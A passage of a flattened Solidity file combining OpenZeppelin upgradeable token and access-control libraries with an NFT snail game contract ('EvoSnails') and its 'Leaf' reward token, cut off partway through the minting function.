_burn(account, amount);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts-upgradeable/access/IAccessControlEnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File @openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC20BurnableUpgradeable, ERC20PausableUpgradeable {
function initialize(string memory name, string memory symbol) public virtual initializer {
__ERC20PresetMinterPauser_init(name, symbol);
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__ERC20PresetMinterPauser_init_unchained(name, symbol);
}
function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// File contracts/NFT.sol
pragma solidity ^0.8.2;
interface InventoryManager {
function getTokenURI(
uint16 id,
uint8 background_,
uint8 trail_,
uint8 body_,
uint8 shell_,
uint8 eyes_,
uint8 mouth_,
uint8 accessory_,
bool staked_,
uint8 modifier_
) external view returns (string memory);
}
contract Leaf is ERC20PresetMinterPauserUpgradeable {
function init() public initializer {
__ERC20PresetMinterPauser_init("Leaf", "LEAF");
}
function burnFrom(address from, uint256 amount) public override {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_burn(from, amount);
}
}
struct LootPool {
uint16 cost;
uint16 total;
uint8 minTier;
uint16 tier1;
uint16 tier2;
uint16 tier3;
uint16 tier4;
}
struct Snail {
uint8 background;
uint8 trail;
uint8 body;
uint8 shell;
uint8 eyes;
uint8 mouth;
uint8 accessory;
}
library Looting {
function init(mapping(uint8 => LootPool) storage pools, mapping(uint8 => uint8[]) storage bodyToEyesMouth) public {
pools[0] = LootPool({cost: 0, total: 100, minTier: 0, tier1: 95, tier2: 5, tier3: 0, tier4: 0});
pools[1] = LootPool({cost: 1, total: 100, minTier: 1, tier1: 80, tier2: 15, tier3: 5, tier4: 0});
pools[2] = LootPool({cost: 3, total: 30000, minTier: 1, tier1: 3900, tier2: 21000, tier3: 5100, tier4: 0});
pools[3] = LootPool({cost: 6, total: 20300, minTier: 2, tier1: 3048, tier2: 15222, tier3: 2030, tier4: 0});
pools[4] = LootPool({cost: 12, total: 13500, minTier: 3, tier1: 6750, tier2: 6750, tier3: 0, tier4: 0});
pools[5] = LootPool({cost: 24, total: 1666, minTier: 4, tier1: 833, tier2: 833, tier3: 0, tier4: 0});
pools[6] = LootPool({cost: 48, total: 3333, minTier: 5, tier1: 3328, tier2: 5, tier3: 0, tier4: 0});
bodyToEyesMouth[1] = [4, 6, 18, 8, 16, 20];
bodyToEyesMouth[2] = [4, 21, 26, 5, 16, 23];
bodyToEyesMouth[3] = [6, 21, 33, 2, 14, 23];
bodyToEyesMouth[4] = [21, 22, 33, 5, 8, 16];
bodyToEyesMouth[5] = [4, 6, 26, 20, 22, 23];
bodyToEyesMouth[6] = [8, 13, 26, 5, 12, 16];
bodyToEyesMouth[7] = [4, 25, 33, 3, 8, 18];
bodyToEyesMouth[8] = [2, 6, 25, 3, 10, 14];
bodyToEyesMouth[9] = [15, 21, 29, 3, 4, 17];
bodyToEyesMouth[10] = [18, 25, 31, 5, 19, 20];
bodyToEyesMouth[11] = [5, 10, 12, 9, 15, 16];
bodyToEyesMouth[12] = [1, 16, 29, 3, 7, 19];
bodyToEyesMouth[13] = [3, 8, 17, 10, 15, 20];
bodyToEyesMouth[14] = [2, 18, 30, 2, 5, 21];
bodyToEyesMouth[15] = [1, 4, 14, 10, 19, 21];
bodyToEyesMouth[16] = [6, 10, 28, 1, 9, 16];
bodyToEyesMouth[17] = [5, 8, 18, 9, 19, 21];
bodyToEyesMouth[18] = [1, 25, 26, 4, 7, 19];
bodyToEyesMouth[19] = [10, 13, 18, 1, 8, 15];
bodyToEyesMouth[20] = [1, 7, 33, 8, 9, 10];
bodyToEyesMouth[21] = [1, 3, 25, 9, 10, 22];
bodyToEyesMouth[22] = [2, 11, 18, 6, 9, 21];
bodyToEyesMouth[23] = [1, 3, 28, 9, 13, 18];
bodyToEyesMouth[24] = [26, 27, 32, 4, 10, 19];
bodyToEyesMouth[25] = [8, 14, 28, 1, 6, 7];
bodyToEyesMouth[26] = [1, 20, 28, 1, 10, 19];
bodyToEyesMouth[27] = [7, 25, 28, 8, 9, 15];
bodyToEyesMouth[28] = [7, 9, 25, 1, 7, 16];
bodyToEyesMouth[29] = [3, 10, 23, 15, 19, 23];
bodyToEyesMouth[30] = [7, 27, 32, 6, 9, 21];
}
function checkFullSet(Snail storage snail, mapping(uint8 => bool) storage setClaimed) public {
uint8[5][5] memory sets = [
[23, 16, 27, 13, 36],
[25, 26, 29, 14, 37],
[30, 29, 23, 29, 38],
[27, 20, 20, 25, 40],
[26, 30, 15, 27, 39]
];
for (uint8 i = 0; i < 5; i++) {
if (setClaimed[i]) continue;
if (snail.background == sets[i][0] && snail.body == sets[i][1] && snail.shell == sets[i][2] && snail.trail == sets[i][3]) {
snail.accessory = sets[i][4];
setClaimed[i] = true;
break;
}
}
}
}
contract EvoSnails is ERC721Upgradeable, ERC721EnumerableUpgradeable, PausableUpgradeable, OwnableUpgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
CountersUpgradeable.Counter private _tokenIdCounter;
/////////////////////////////////////////////////////////////
// CONFIGURATION
/////////////////////////////////////////////////////////////
uint256 public constant cost = 0.05 ether;
uint256 public constant maxSupply = 5555;
uint256 public constant maxMintAmount = 1;
uint256 internal constant partsPerTier = 5;
bool internal cooldownEnabled;
bool internal gamePaused;
uint88 public whitelistMintStartTime;
uint88 public publicMintStartTime;
uint88 public startTime;
bytes32 public merkleRoot;
mapping(address => uint256) snailsMinted;
ERC20PresetMinterPauserUpgradeable public leaf;
InventoryManager inventoryManager;
/////////////////////////////////////////////////////////////
// UTILS
/////////////////////////////////////////////////////////////
uint256 entropy;
/////////////////////////////////////////////////////////////
// STRUCTURES
/////////////////////////////////////////////////////////////
mapping(uint256 => Snail) public snails;
enum ActivityState {
UNSTAKED,
GREENHOUSE
}
struct Activity {
ActivityState state;
address user;
uint48 since;
uint40 lastRoll;
}
mapping(uint256 => Activity) public snailActivities;
enum Part {
ACCESSORY,
BACKGROUND,
BODY,
EYES,
MOUTH,
SHELL,
TRAIL
}
mapping(uint8 => LootPool) public pools;
mapping(uint8 => bool) public setClaimed;
mapping(uint8 => uint8[]) internal bodyToEyesMouth;
/////////////////////////////////////////////////////////////
// SET UP
/////////////////////////////////////////////////////////////
function initialize() public initializer {
__ERC721_init("EvoSnails", "EVOSNAIL");
__ERC721Enumerable_init();
__Pausable_init();
__Ownable_init();
cooldownEnabled = true;
gamePaused = false;
whitelistMintStartTime = 1635753600;
publicMintStartTime = 1635796800;
startTime = 1635800400;
Looting.init(pools, bodyToEyesMouth);
}
function setInventoryManager(address manager) public onlyOwner {
inventoryManager = InventoryManager(manager);
}
function setLeaf(address leaf_) public onlyOwner {
leaf = Leaf(leaf_);
}
/////////////////////////////////////////////////////////////
// MINTING
/////////////////////////////////////////////////////////////
function mint(uint256 _mintAmount) public payable noCheaters {
uint256 supply = totalSupply();
require(block.timestamp > publicMintStartTime, "mint locked");
require(_mintAmount > 0, "amount must be >0");
require(_mintAmount <= maxMintAmount, "amount must < max");
require(supply + _mintAmount <= maxSupply, "sold out!");
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount, "no funds");
